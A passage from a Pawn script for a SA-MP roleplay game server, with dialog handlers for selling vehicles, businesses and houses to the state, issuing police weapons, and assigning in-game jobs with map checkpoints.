			PlayerInfo[playerid][pVeh2] = 0;
			SaveKonVal(playerid, "pVeh2", 0);
		  //SaveAccount(playerid);
		  new string[256];format(string,256,"You sold your vehicle for $%s",FormatNumber(price));
		  SCM(playerid,COLOR_SINA3,string);
		  return 1;
	   }
	}
	if(dialogid == 8547)
	{
	   if(response)
	   {
			new v = PlayerInfo[playerid][pVeh3];
//			new pcar = PlayerInfo[playerid][pCar_3];
		  if(GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_3]) return SCM(playerid,COLOR_SINA3,"You must be in your vehicle to see it.");
		  if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not in dealer ship.");
		  new price = ((vInfo[v][cPrice])*(40)/(100));
		  GivePlayerPool(playerid,price);
		  MashinOwner[PINFO[playerid][pCar_3]] = 9999;
		  DestroyVehicle(PINFO[playerid][pCar_3], true);
		  OwnedMashin[PINFO[playerid][pCar_3]] = 0;
		  PINFO[playerid][pCar_3] = 0;
		  SaveKonVal(playerid, "pCar_3", 0);
		  vInfo[v][cLocationx] = 0.0;
		  SaveKonFloatV(v, "cLocationx", 0);
		  vInfo[v][cLocationy] = 0.0;
		  SaveKonFloatV(v, "cLocationy", 0);
		  vInfo[v][cLocationz] = 0.0;
		  SaveKonFloatV(v, "cLocationz", 0);
		  vInfo[v][cAngle] = 0.0;
		  SaveKonFloatV(v, "cAngle", 0);
		  vInfo[v][cColor1] = 9999;
		  SaveKonValV(v, "cColor1", 9999);
		  vInfo[v][cColor2] = 9999;
		  SaveKonValV(v, "cColor2", 9999);
		  vInfo[v][cModel] = 0;
		  SaveKonValV(v, "cModel", 0);
		  vInfo[v][cPrice] = 0;
		  SaveKonValV(v, "cPrice", 0);
		  strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
		  SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
		  vInfo[v][cLock] = 0;
		  SaveKonValV(v, "cLock", 0);
		  vInfo[v][cDestroyed] = 0;
		  SaveKonValV(v, "cDestroyed", 0);
		  vInfo[v][cFixed] = 0;
		  SaveKonValV(v, "cFixed", 0);
		  vInfo[v][cInsurance] = 0;
		  SaveKonValV(v, "cInsurance", 0);
		  vInfo[v][cFuel] = 0;
		  SaveKonValV(v, "cFuel", 0);
		  vInfo[v][cHealth] = 0.0;
		  SaveKonFloatV(v, "cHealth", 0);
		  vInfo[v][gLocationX] = 0;
		  SaveKonFloatV(v, "gLocationX", 0);
		  vInfo[v][gLocationY] = 0;
		  SaveKonFloatV(v, "gLocationY", 0);
		  vInfo[v][gLocationZ] = 0;
		  SaveKonFloatV(v, "gLocationZ", 0);
		  vInfo[v][gAngle] = 0;
		  SaveKonFloatV(v, "gAngle", 0);
		  vInfo[v][gParked] = 0;
		  SaveKonValV(v, "gParked", 0);
		  vInfo[v][cMod1] = 0;
		  SaveKonValV(v, "cMod1", 0);
		  vInfo[v][cMod3] = 0;
		  SaveKonValV(v, "cMod3", 0);
		  vInfo[v][cMod4] = 0;
		  SaveKonValV(v, "cMod4", 0);
		  vInfo[v][cMod5] = 0;
		  SaveKonValV(v, "cMod5", 0);
		  vInfo[v][cMod6] = 0;
		  SaveKonValV(v, "cMod6", 0);
		  vInfo[v][cMod7] = 0;
		  SaveKonValV(v, "cMod7", 0);
		  vInfo[v][cMod8] = 0;
		  SaveKonValV(v, "cMod8", 0);
		  vInfo[v][cMod9] = 0;
		  SaveKonValV(v, "cMod9", 0);
		  vInfo[v][cMod10] = 0;
		  SaveKonValV(v, "cMod10", 0);
		  vInfo[v][cMod11] = 0;
		  SaveKonValV(v, "cMod11", 0);
		  vInfo[v][cMod12] = 0;
		  SaveKonValV(v, "cMod12", 0);
		  vInfo[v][cMod13] = 0;
		  SaveKonValV(v, "cMod13", 0);
		  vInfo[v][cMod14] = 0;
		  SaveKonValV(v, "cMod14", 0);
		  vInfo[v][cMod15] = 0;
		  SaveKonValV(v, "cMod15", 0);
		  vInfo[v][cMod16] = 0;
		  SaveKonValV(v, "cMod16", 0);
		  vInfo[v][cMod17] = 0;
		  SaveKonValV(v, "cMod17", 0);
		  vInfo[v][cPaintJob] = 3;
		  SaveKonValV(v, "cPaintJob", 3);
		  vInfo[v][cKilo] = 0.0;
		  SaveKonFloatV(v, "cKilo", 0);
		  vInfo[v][cPanel] = 0;
		  SaveKonValV(v, "cPanel", 0);
		  vInfo[v][cDoors] = 0;
		  SaveKonValV(v, "cDoors", 0);
		  vInfo[v][cLights] = 0;
		  SaveKonValV(v, "cLights", 0);
		  vInfo[v][cTires] = 0;
		  SaveKonValV(v, "cTires", 0);
		  PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
			PlayerInfo[playerid][pVeh3] = 0;
			SaveKonVal(playerid, "pVeh3", 0);
		  //SaveAccount(playerid);
		  new string[256];format(string,256,"You sold your vehicle for $%s",FormatNumber(price));
		  SCM(playerid,COLOR_SINA3,string);
		  return 1;
	   }
	}
	if(dialogid == 8647)
	{
	   if(response)
	   {
			new v = PlayerInfo[playerid][pVeh4];
//			new pcar = PlayerInfo[playerid][pCar_4];
		  if(GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_4]) return SCM(playerid,COLOR_SINA3,"You must be in your vehicle to see it.");
		  if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not in dealer ship.");
		  new price = ((vInfo[v][cPrice])*(40)/(100));
		  GivePlayerPool(playerid,price);
		  MashinOwner[PINFO[playerid][pCar_4]] = 9999;
		  DestroyVehicle(PINFO[playerid][pCar_4], true);
		  OwnedMashin[PINFO[playerid][pCar_4]] = 0;
		  PINFO[playerid][pCar_4] = 0;
		  SaveKonVal(playerid, "pCar_4", 0);
		  vInfo[v][cLocationx] = 0.0;
		  SaveKonFloatV(v, "cLocationx", 0);
		  vInfo[v][cLocationy] = 0.0;
		  SaveKonFloatV(v, "cLocationy", 0);
		  vInfo[v][cLocationz] = 0.0;
		  SaveKonFloatV(v, "cLocationz", 0);
		  vInfo[v][cAngle] = 0.0;
		  SaveKonFloatV(v, "cAngle", 0);
		  vInfo[v][cColor1] = 9999;
		  SaveKonValV(v, "cColor1", 9999);
		  vInfo[v][cColor2] = 9999;
		  SaveKonValV(v, "cColor2", 9999);
		  vInfo[v][cModel] = 0;
		  SaveKonValV(v, "cModel", 0);
		  vInfo[v][cPrice] = 0;
		  SaveKonValV(v, "cPrice", 0);
		  strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
		  SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
		  vInfo[v][cLock] = 0;
		  SaveKonValV(v, "cLock", 0);
		  vInfo[v][cDestroyed] = 0;
		  SaveKonValV(v, "cDestroyed", 0);
		  vInfo[v][cFixed] = 0;
		  SaveKonValV(v, "cFixed", 0);
		  vInfo[v][cInsurance] = 0;
		  SaveKonValV(v, "cInsurance", 0);
		  vInfo[v][cFuel] = 0;
		  SaveKonValV(v, "cFuel", 0);
		  vInfo[v][cHealth] = 0.0;
		  SaveKonFloatV(v, "cHealth", 0);
		  vInfo[v][gLocationX] = 0;
		  SaveKonFloatV(v, "gLocationX", 0);
		  vInfo[v][gLocationY] = 0;
		  SaveKonFloatV(v, "gLocationY", 0);
		  vInfo[v][gLocationZ] = 0;
		  SaveKonFloatV(v, "gLocationZ", 0);
		  vInfo[v][gAngle] = 0;
		  SaveKonFloatV(v, "gAngle", 0);
		  vInfo[v][gParked] = 0;
		  SaveKonValV(v, "gParked", 0);
		  vInfo[v][cMod1] = 0;
		  SaveKonValV(v, "cMod1", 0);
		  vInfo[v][cMod3] = 0;
		  SaveKonValV(v, "cMod3", 0);
		  vInfo[v][cMod4] = 0;
		  SaveKonValV(v, "cMod4", 0);
		  vInfo[v][cMod5] = 0;
		  SaveKonValV(v, "cMod5", 0);
		  vInfo[v][cMod6] = 0;
		  SaveKonValV(v, "cMod6", 0);
		  vInfo[v][cMod7] = 0;
		  SaveKonValV(v, "cMod7", 0);
		  vInfo[v][cMod8] = 0;
		  SaveKonValV(v, "cMod8", 0);
		  vInfo[v][cMod9] = 0;
		  SaveKonValV(v, "cMod9", 0);
		  vInfo[v][cMod10] = 0;
		  SaveKonValV(v, "cMod10", 0);
		  vInfo[v][cMod11] = 0;
		  SaveKonValV(v, "cMod11", 0);
		  vInfo[v][cMod12] = 0;
		  SaveKonValV(v, "cMod12", 0);
		  vInfo[v][cMod13] = 0;
		  SaveKonValV(v, "cMod13", 0);
		  vInfo[v][cMod14] = 0;
		  SaveKonValV(v, "cMod14", 0);
		  vInfo[v][cMod15] = 0;
		  SaveKonValV(v, "cMod15", 0);
		  vInfo[v][cMod16] = 0;
		  SaveKonValV(v, "cMod16", 0);
		  vInfo[v][cMod17] = 0;
		  SaveKonValV(v, "cMod17", 0);
		  vInfo[v][cPaintJob] = 3;
		  SaveKonValV(v, "cPaintJob", 3);
		  vInfo[v][cKilo] = 0.0;
		  SaveKonFloatV(v, "cKilo", 0);
		  vInfo[v][cPanel] = 0;
		  SaveKonValV(v, "cPanel", 0);
		  vInfo[v][cDoors] = 0;
		  SaveKonValV(v, "cDoors", 0);
		  vInfo[v][cLights] = 0;
		  SaveKonValV(v, "cLights", 0);
		  vInfo[v][cTires] = 0;
		  SaveKonValV(v, "cTires", 0);
		  PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
			PlayerInfo[playerid][pVeh4] = 0;
			SaveKonVal(playerid, "pVeh4", 0);
		  //SaveAccount(playerid);
		  new string[256];format(string,256,"You sold your vehicle for $%s",FormatNumber(price));
		  SCM(playerid,COLOR_SINA3,string);
		  return 1;
	   }
	}
	if(dialogid == 8747)
	{
	   if(response)
	   {
			new v = PlayerInfo[playerid][pVeh5];
//			new pcar = PlayerInfo[playerid][pCar_5];
		  if(GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_5]) return SCM(playerid,COLOR_SINA3,"You must be in your vehicle to see it.");
		  if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not in dealer ship.");
		  new price = ((vInfo[v][cPrice])*(40)/(100));
		  GivePlayerPool(playerid,price);
		  MashinOwner[PINFO[playerid][pCar_5]] = 9999;
		  DestroyVehicle(PINFO[playerid][pCar_5], true);
		  OwnedMashin[PINFO[playerid][pCar_5]] = 0;
		  PINFO[playerid][pCar_5] = 0;
		  SaveKonVal(playerid, "pCar_5", 0);
		  vInfo[v][cLocationx] = 0.0;
		  SaveKonFloatV(v, "cLocationx", 0);
		  vInfo[v][cLocationy] = 0.0;
		  SaveKonFloatV(v, "cLocationy", 0);
		  vInfo[v][cLocationz] = 0.0;
		  SaveKonFloatV(v, "cLocationz", 0);
		  vInfo[v][cAngle] = 0.0;
		  SaveKonFloatV(v, "cAngle", 0);
		  vInfo[v][cColor1] = 9999;
		  SaveKonValV(v, "cColor1", 9999);
		  vInfo[v][cColor2] = 9999;
		  SaveKonValV(v, "cColor2", 9999);
		  vInfo[v][cModel] = 0;
		  SaveKonValV(v, "cModel", 0);
		  vInfo[v][cPrice] = 0;
		  SaveKonValV(v, "cPrice", 0);
		  strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
		  SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
		  vInfo[v][cLock] = 0;
		  SaveKonValV(v, "cLock", 0);
		  vInfo[v][cDestroyed] = 0;
		  SaveKonValV(v, "cDestroyed", 0);
		  vInfo[v][cFixed] = 0;
		  SaveKonValV(v, "cFixed", 0);
		  vInfo[v][cInsurance] = 0;
		  SaveKonValV(v, "cInsurance", 0);
		  vInfo[v][cFuel] = 0;
		  SaveKonValV(v, "cFuel", 0);
		  vInfo[v][cHealth] = 0.0;
		  SaveKonFloatV(v, "cHealth", 0);
		  vInfo[v][gLocationX] = 0;
		  SaveKonFloatV(v, "gLocationX", 0);
		  vInfo[v][gLocationY] = 0;
		  SaveKonFloatV(v, "gLocationY", 0);
		  vInfo[v][gLocationZ] = 0;
		  SaveKonFloatV(v, "gLocationZ", 0);
		  vInfo[v][gAngle] = 0;
		  SaveKonFloatV(v, "gAngle", 0);
		  vInfo[v][gParked] = 0;
		  SaveKonValV(v, "gParked", 0);
		  vInfo[v][cMod1] = 0;
		  SaveKonValV(v, "cMod1", 0);
		  vInfo[v][cMod3] = 0;
		  SaveKonValV(v, "cMod3", 0);
		  vInfo[v][cMod4] = 0;
		  SaveKonValV(v, "cMod4", 0);
		  vInfo[v][cMod5] = 0;
		  SaveKonValV(v, "cMod5", 0);
		  vInfo[v][cMod6] = 0;
		  SaveKonValV(v, "cMod6", 0);
		  vInfo[v][cMod7] = 0;
		  SaveKonValV(v, "cMod7", 0);
		  vInfo[v][cMod8] = 0;
		  SaveKonValV(v, "cMod8", 0);
		  vInfo[v][cMod9] = 0;
		  SaveKonValV(v, "cMod9", 0);
		  vInfo[v][cMod10] = 0;
		  SaveKonValV(v, "cMod10", 0);
		  vInfo[v][cMod11] = 0;
		  SaveKonValV(v, "cMod11", 0);
		  vInfo[v][cMod12] = 0;
		  SaveKonValV(v, "cMod12", 0);
		  vInfo[v][cMod13] = 0;
		  SaveKonValV(v, "cMod13", 0);
		  vInfo[v][cMod14] = 0;
		  SaveKonValV(v, "cMod14", 0);
		  vInfo[v][cMod15] = 0;
		  SaveKonValV(v, "cMod15", 0);
		  vInfo[v][cMod16] = 0;
		  SaveKonValV(v, "cMod16", 0);
		  vInfo[v][cMod17] = 0;
		  SaveKonValV(v, "cMod17", 0);
		  vInfo[v][cPaintJob] = 3;
		  SaveKonValV(v, "cPaintJob", 3);
		  vInfo[v][cKilo] = 0.0;
		  SaveKonFloatV(v, "cKilo", 0);
		  vInfo[v][cPanel] = 0;
		  SaveKonValV(v, "cPanel", 0);
		  vInfo[v][cDoors] = 0;
		  SaveKonValV(v, "cDoors", 0);
		  vInfo[v][cLights] = 0;
		  SaveKonValV(v, "cLights", 0);
		  vInfo[v][cTires] = 0;
		  SaveKonValV(v, "cTires", 0);
		  PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
			PlayerInfo[playerid][pVeh5] = 0;
			SaveKonVal(playerid, "pVeh5", 0);
		  //SaveAccount(playerid);
		  new string[256];format(string,256,"You sold your vehicle for $%s",FormatNumber(price));
		  SCM(playerid,COLOR_SINA3,string);
		  return 1;
	   }
	}
	if(dialogid == 8847)
	{
	   if(response)
	   {
			new v = PlayerInfo[playerid][pVeh6];
//			new pcar = PlayerInfo[playerid][pCar_6];
		  if(GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_6]) return SCM(playerid,COLOR_SINA3,"You must be in your vehicle to see it.");
		  if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not in dealer ship.");
		  new price = ((vInfo[v][cPrice])*(40)/(100));
		  GivePlayerPool(playerid,price);
		  MashinOwner[PINFO[playerid][pCar_6]] = 9999;
		  DestroyVehicle(PINFO[playerid][pCar_6], true);
		  OwnedMashin[PINFO[playerid][pCar_6]] = 0;
		  PINFO[playerid][pCar_6] = 0;
		  SaveKonVal(playerid, "pCar_6", 0);
		  vInfo[v][cLocationx] = 0.0;
		  SaveKonFloatV(v, "cLocationx", 0);
		  vInfo[v][cLocationy] = 0.0;
		  SaveKonFloatV(v, "cLocationy", 0);
		  vInfo[v][cLocationz] = 0.0;
		  SaveKonFloatV(v, "cLocationz", 0);
		  vInfo[v][cAngle] = 0.0;
		  SaveKonFloatV(v, "cAngle", 0);
		  vInfo[v][cColor1] = 9999;
		  SaveKonValV(v, "cColor1", 9999);
		  vInfo[v][cColor2] = 9999;
		  SaveKonValV(v, "cColor2", 9999);
		  vInfo[v][cModel] = 0;
		  SaveKonValV(v, "cModel", 0);
		  vInfo[v][cPrice] = 0;
		  SaveKonValV(v, "cPrice", 0);
		  strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
		  SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
		  vInfo[v][cLock] = 0;
		  SaveKonValV(v, "cLock", 0);
		  vInfo[v][cDestroyed] = 0;
		  SaveKonValV(v, "cDestroyed", 0);
		  vInfo[v][cFixed] = 0;
		  SaveKonValV(v, "cFixed", 0);
		  vInfo[v][cInsurance] = 0;
		  SaveKonValV(v, "cInsurance", 0);
		  vInfo[v][cFuel] = 0;
		  SaveKonValV(v, "cFuel", 0);
		  vInfo[v][cHealth] = 0.0;
		  SaveKonFloatV(v, "cHealth", 0);
		  vInfo[v][gLocationX] = 0;
		  SaveKonFloatV(v, "gLocationX", 0);
		  vInfo[v][gLocationY] = 0;
		  SaveKonFloatV(v, "gLocationY", 0);
		  vInfo[v][gLocationZ] = 0;
		  SaveKonFloatV(v, "gLocationZ", 0);
		  vInfo[v][gAngle] = 0;
		  SaveKonFloatV(v, "gAngle", 0);
		  vInfo[v][gParked] = 0;
		  SaveKonValV(v, "gParked", 0);
		  vInfo[v][cMod1] = 0;
		  SaveKonValV(v, "cMod1", 0);
		  vInfo[v][cMod3] = 0;
		  SaveKonValV(v, "cMod3", 0);
		  vInfo[v][cMod4] = 0;
		  SaveKonValV(v, "cMod4", 0);
		  vInfo[v][cMod5] = 0;
		  SaveKonValV(v, "cMod5", 0);
		  vInfo[v][cMod6] = 0;
		  SaveKonValV(v, "cMod6", 0);
		  vInfo[v][cMod7] = 0;
		  SaveKonValV(v, "cMod7", 0);
		  vInfo[v][cMod8] = 0;
		  SaveKonValV(v, "cMod8", 0);
		  vInfo[v][cMod9] = 0;
		  SaveKonValV(v, "cMod9", 0);
		  vInfo[v][cMod10] = 0;
		  SaveKonValV(v, "cMod10", 0);
		  vInfo[v][cMod11] = 0;
		  SaveKonValV(v, "cMod11", 0);
		  vInfo[v][cMod12] = 0;
		  SaveKonValV(v, "cMod12", 0);
		  vInfo[v][cMod13] = 0;
		  SaveKonValV(v, "cMod13", 0);
		  vInfo[v][cMod14] = 0;
		  SaveKonValV(v, "cMod14", 0);
		  vInfo[v][cMod15] = 0;
		  SaveKonValV(v, "cMod15", 0);
		  vInfo[v][cMod16] = 0;
		  SaveKonValV(v, "cMod16", 0);
		  vInfo[v][cMod17] = 0;
		  SaveKonValV(v, "cMod17", 0);
		  vInfo[v][cPaintJob] = 3;
		  SaveKonValV(v, "cPaintJob", 3);
		  vInfo[v][cKilo] = 0.0;
		  SaveKonFloatV(v, "cKilo", 0);
		  vInfo[v][cPanel] = 0;
		  SaveKonValV(v, "cPanel", 0);
		  vInfo[v][cDoors] = 0;
		  SaveKonValV(v, "cDoors", 0);
		  vInfo[v][cLights] = 0;
		  SaveKonValV(v, "cLights", 0);
		  vInfo[v][cTires] = 0;
		  SaveKonValV(v, "cTires", 0);
		  PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
			PlayerInfo[playerid][pVeh6] = 0;
			SaveKonVal(playerid, "pVeh6", 0);
		  //SaveAccount(playerid);
		  new string[256];format(string,256,"You sold your vehicle for $%s",FormatNumber(price));
		  SCM(playerid,COLOR_SINA3,string);
		  return 1;
	   }
	}

	if(dialogid == 9743)
	{
       if(!response) return 1;
	   if(PINFO[playerid][pPbiskey] == 9999) return SCM(playerid,COLOR_SINA3,"You haven't any business.");
	   new buz = PINFO[playerid][pPbiskey];
	   if(buz >= 500) return SCM(playerid,COLOR_SINA3,"Error.");
	   if(!IsPlayerInRangeOfPoint(playerid,5,BizzInfo[buz][bEntranceX],BizzInfo[buz][bEntranceY],BizzInfo[buz][bEntranceZ]) && (Mahal[playerid] != 15 && TooBiz[playerid] != buz)) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door or you must enter it.");
	   new price = ((BizzInfo[buz][bBuyPrice] * 50)/(100));
	   GivePlayerPool(playerid,price);
	   BizzInfo[buz][bOwned] = 0;
	   format(BizzInfo[buz][bOwner],64,"The State");
	   OnBizUpdate(buz);
	   PINFO[playerid][pPbiskey] = 9999;
	   SaveKonVal(playerid, "pPbiskey", 9999);
	   //SaveAccount(playerid);
	   SCM(playerid,COLOR_SINA3,"You sold your biz successfully.");
	   PlayerPlaySound(playerid,1052,0,0,0);
	   CustomPickups();
   	   new sanideyilarz[144];
       format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s sold %s biz id #%d for $%s to state",PlayerInfo[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), buz, FormatNumber(price));
       SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
	   return 1;
	}
	if(dialogid == 9744)
	{
	   if(!response) return 1;
	   if(PINFO[playerid][pPbiskey] == 9999) return SCM(playerid,COLOR_SINA3,"You haven't any business.");
	   new buz = PINFO[playerid][pPbiskey];
	   if(buz < 500) return SCM(playerid,COLOR_SINA3,"Error.");
	   if(!IsPlayerInRangeOfPoint(playerid,5,SBizzInfo[buz-500][sbEntranceX],SBizzInfo[buz-500][sbEntranceY],SBizzInfo[buz-500][sbEntranceZ])) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door.");
	   new price = ((SBizzInfo[buz-500][sbBuyPrice] * 50)/(100));
	   GivePlayerPool(playerid,price);
	   SBizzInfo[buz-500][sbOwned] = 0;
	   format(SBizzInfo[buz-500][sbOwner],64,"The State");
	   OnSbizUpdate(buz-500);
	   PINFO[playerid][pPbiskey] = 9999;
	   SaveKonVal(playerid, "pPbiskey", 9999);
	   //SaveAccount(playerid);
	   SCM(playerid,COLOR_SINA3,"You sold your biz successfully.");
	   PlayerPlaySound(playerid,1052,0,0,0);
	   new sanideyilarz[144];
       format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s sold %s sbiz id #%d for $%s to state",PlayerInfo[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), buz-500, FormatNumber(price));
       SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
       CustomPickups();
	   return 1;
	}
if(dialogid == 4576)
{
	if(!response) return 1;
	new house = PlayerInfo[playerid][pPhousekey],price = (HouseInfo[PlayerInfo[playerid][pPhousekey]][hValue]*40/100);
	if(house == 9999 || strcmp(HouseInfo[house][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
	HouseInfo[house][hOwned] = 0;
	SaveKonValH(house, "hOwned", 0);
	strmid(HouseInfo[house][hOwner],"The State",0,strlen("The State"),40);
	SaveKonStrH(house, "hOwner", "The State");
	EvictAllFromHouse(house);
	GivePlayerPool(playerid,price);
	new strlool[512];
	format(strlool,512,"You sell your house to state for $%s",FormatNumber(price));
	SCM(playerid,COLOR_LIGHTRED,strlool);
	PINFO[playerid][pPhousekey] = 9999;
	SaveKonVal(playerid, "pPhousekey", 9999);
	RemovePlayerMapIcon(playerid, 30);
	CustomPickups();
	new sanideyilarz[144];
    format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s sold %s house id #%d for $%s to state",PlayerInfo[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), house, FormatNumber(price));
    SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
	/*
	if(PINFO[playerid][gParked] == 1)
	{
	   CreateVehGarage(playerid);
	   SCM(playerid,COLOR_Good,"Your first car have been evicted from the parking.");
	}
	if(PINFO[playerid][gParked_2] == 1)
	{
	   CreateVehGarage_2(playerid);
	   SCM(playerid,COLOR_Good,"Your first car have been evicted from the parking.");
	}
	*/
	return 1;
}
if(dialogid == 7532)
{
new house = PlayerInfo[playerid][pPhousekey];
if(response)
{
if(house == 9999) return SCM(playerid,COLOR_SINA3,"You haven' a House.");
HouseInfo[house][hHel] = 1;
SaveKonValH(house, "hHel", 1);
GivePlayerPool(playerid,-500);
SBizzInfo[6][sbTill] += 500;
SBizzInfo[6][sbProducts]--;
PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
SendMessage(playerid, COLOR_Good, "You can now heal yourself at home, Type /heal.");
}
}
if(dialogid == 21356)
{
if(response)
{
if(!IsACop(playerid)) return SCM(playerid,COLOR_BLUE,"You are not a Cop.");
if(listitem == 0)
{
wepidw[playerid] = 31;
}
if(listitem == 1)
{
wepidw[playerid] = 29;
}
if(listitem == 2)
{
wepidw[playerid] = 24;
}
if(listitem == 3)
{
wepidw[playerid] = 33;
}
if(listitem == 4)
{
wepidw[playerid] = 25;
}
if(listitem == 5)
{
wepidw[playerid] = 23;
}
if(listitem == 6)
{
wepidw[playerid] = 30;
}
ShowPlayerDialog(playerid,32366,DIALOG_STYLE_INPUT,"Ammo:","Choose bullets between 1 and 1000","Select","Cancel");
}
}
if(dialogid == 32366)
{
if(response)
{
if(!IsACop(playerid)) return SCM(playerid,COLOR_BLUE,"You are not a Cop.");
if(strval(inputtext) >= 1 && strval(inputtext) <= 1000)
{
Ammom[playerid] = strval(inputtext);
GivePlayerKolang(playerid,wepidw[playerid],Ammom[playerid]);
PlayerPlaySound(playerid,1052,0.0,0.0,0.0);
}
else
{
ShowPlayerDialog(playerid,32366,DIALOG_STYLE_INPUT,"Ammo:","Choose bullets between {FF6347}1 and 1000!","Select","Cancel");
}
}
}

	if(dialogid == 2555)
	{
	   if(response)
	   {
	if(OnCheckpoint[playerid] == 1)
	{
	SCM(playerid,COLOR_LIGHTRED,"You already have an enable checkpoint.");
	return 1;
	}
		  new message[256+1];
		  if(listitem == 0)
		  {
		  format(message, 256, "You Selected Detective job, a Legal job, I give you a checkpoint to follow this job", listitem);
		  SendMessage(playerid, 0xFFFFFFFF, message);
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 54654;
		  SetPlayerCheckpoint(playerid, 1481.0289,-1770.9703,18.7958, 3);
		  }
		  if(listitem == 1)
		  {
			format(message, 256, "You Selected Lawyer job, a Legal job, I give you a checkpoint to follow this job", listitem);
			SendMessage(playerid, 0xFFFFFFFF, message);
			OnCheckpoint[playerid] = 1;
			CP[playerid] = 54655;
			SetPlayerCheckpoint(playerid, 1481.0289,-1770.9703,18.7958, 3);
		  }
		  if(listitem == 2)
		  {
			format(message, 256, "You Selected Drugs Dealer job, an Illegal job, I give you a checkpoint to follow this job", listitem);
			SendMessage(playerid, 0xFFFFFFFF, message);
			OnCheckpoint[playerid] = 1;
			CP[playerid] = 54656;
			SetPlayerCheckpoint(playerid, 2165.875732,-1671.250000,15.073156, 3);
		  }
		  if(listitem == 3)
		  {
			format(message, 256, "You Selected Car Jacker job, an Illegal job, I give you a checkpoint to follow this job", listitem);
			SendMessage(playerid, 0xFFFFFFFF, message);
			OnCheckpoint[playerid] = 1;
			CP[playerid] = 54657;
			SetPlayerCheckpoint(playerid, 2515.572265,-1473.751220,24.009740, 3);
		  }
		  if(listitem == 4)
		  {
			format(message, 256, "You Selected Car mechanic job, a Legal job, I give you a checkpoint to follow this job", listitem);
			SendMessage(playerid, 0xFFFFFFFF, message);
			OnCheckpoint[playerid] = 1;
			CP[playerid] = 54658;
			SetPlayerCheckpoint(playerid, 1658.4885,2199.7075,10.8203, 3);
		  }
		  if(listitem == 5)
		  {
			format(message, 256, "You Selected Bus Driver job, a Legal job, select job location( LS or LV )", listitem);
			SendMessage(playerid, 0xFFFFFFFF, message);
			ShowPlayerDialog(playerid, 1298, DIALOG_STYLE_LIST, "Bus Job Location", "Bus job on Los santos \nBus job on Las ventarus", "Select", "Cancel");
		  }
		  if(listitem == 6)
		  {
			format(message, 256, "You Selected Trucker job, a Legal job, I give you a checkpoint to follow this job", listitem);
			SendMessage(playerid, 0xFFFFFFFF, message);
			OnCheckpoint[playerid] = 1;
			CP[playerid] = 54670;
			SetPlayerCheckpoint(playerid, -77.235397,-1136.455932,1.078125, 3);
		  }
		  if(listitem == 7)
		  {
		  format(message, 256, "You Selected Farmer job, a Legal job, select job location( 1 or 2 )", listitem);
		  SendMessage(playerid, 0xFFFFFFFF, message);
		  ShowPlayerDialog(playerid, 1299, DIALOG_STYLE_LIST, "Farmer job locations:", "Farm 1 \nFarm 2", "Select", "Cancel");
		  }
		  if(listitem == 8)
		  {
		  format(message, 256, "You Selected Arms Dealer job, an Illegal job, I give you a checkpoint to follow this job", listitem);
		  SendMessage(playerid, 0xFFFFFFFF, message);
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 78642;
		  SetPlayerCheckpoint(playerid,2766.482177,-1610.956542,10.921875 ,3);
		  }
		  if(listitem == 9)
		  {
		  SCM(playerid,COLOR_WHITE,"You Selected Garbage man job, a Legal job, I give you a checkpoint to follow this job");
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 79655;
		  SetPlayerCheckpoint(playerid,2077.161376,-2006.656250,13.546875,3);
		  return 1;
		  }
			if(listitem == 10)
		  {
		  SCM(playerid,COLOR_WHITE,"You Selected Pizza Boy job, a Legal job, I give you a checkpoint to follow this job");
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 9002;
		  SetPlayerCheckpoint(playerid,2104.904541,-1806.644897,13.554687,3);
		  return 1;
		  }
			if(listitem == 11)
		  {
		  SCM(playerid,COLOR_WHITE,"You Selected Sweeper job, a Legal job, I give you a checkpoint to follow this job");
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 90033;
		  SetPlayerCheckpoint(playerid,1610.875122,-1893.910522,13.546875,3);
		  return 1;
		  }
			if(listitem == 12)
		  {
		  SCM(playerid,COLOR_WHITE,"You Selected Liquor Dealer job, an Illegal job, I give you a checkpoint to follow this job");
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 90034;
		  SetPlayerCheckpoint(playerid,-13.077162, 47.826896, 3.117187,3);
		  return 1;
		  }
			if(listitem == 13)
		  {
